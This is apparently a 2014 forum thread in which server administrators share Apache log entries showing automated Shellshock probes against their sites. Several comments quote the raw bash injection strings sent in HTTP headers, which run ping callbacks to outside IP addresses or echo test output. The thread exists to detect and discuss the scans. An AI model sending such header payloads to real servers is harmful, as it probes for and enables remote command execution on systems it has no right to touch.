4 ms·
I'm starting to see automated attack attempts using HTTP_HOST headers set to '() {'.
by jtchang 12y ago
I'm starting to see automated attack attempts using HTTP_HOST headers set to '() {'.
- agwa 12y agoAre you seeing any from IP addresses besides 209.126.230.72, which is Robert Graham scanning the Internet[1]? [1] http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-in...
- BIackSwan 12y agoMy logs show 3 scans of this so far.
- fyrabanks 12y agoThe Metasploit folks released their exploit not too long ago. I haven't had any hits monitoring my Apache logs all day until just recently. Good luck/god bless to everybody.
- cft 12y agoI am seeing: web22 ~> grep "() {" logs/access_log 209.126.230.72 - - [24/Sep/2014:17:16:46 -0700] "GET / HTTP/1.0" 200 5733 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" 13378 () { :; }; ping -c 23 209.126.230.74 80 74529
- Cthulhu_ 12y agoThanks for that command btw; I got scanned by erratasec :D 209.126.230.72 - - [24/Sep/2014:23:13:20 +0200] "GET / HTTP/1.0" 200 29301 "() { :; }; ping -c 11 216.75.60.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" 209.126.230.72 - - [25/Sep/2014:08:45:00 +0200] "GET / HTTP/1.0" 200 29292 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
- someguy222 12y agovery interesting one: 89.207.135.125 - - * () { :;}; /bin/ping -c 1 198.101.206.138"
- antocv 12y agoIve seen 89....125 as well, bastard. Lets all ping 198...138!
- letney 12y agoYes, I got that too. >89.207.135.125 - - - "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 302 483 "-" "() { :;}; /bin/ping -c 1 198.101.206.138" ...searching for vulnerable CPanel installs.
- robinson-wall 12y agoYes, I had that one too, also this: 24.251.197.244 - - [25/Sep/2014:10:07:47 +0000] "GET / HTTP/1.1" 301 178 "-" "() { :; }; echo -e \x22Content-Type: text/plain\x5Cn\x22; echo qQQQQQq"
- artursapek 12y agoI got mine! access.log.1:209.126.230.72 - - [25/Sep/2014:02:14:12 +0000] "GET / HTTP/1.0" 502 172 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"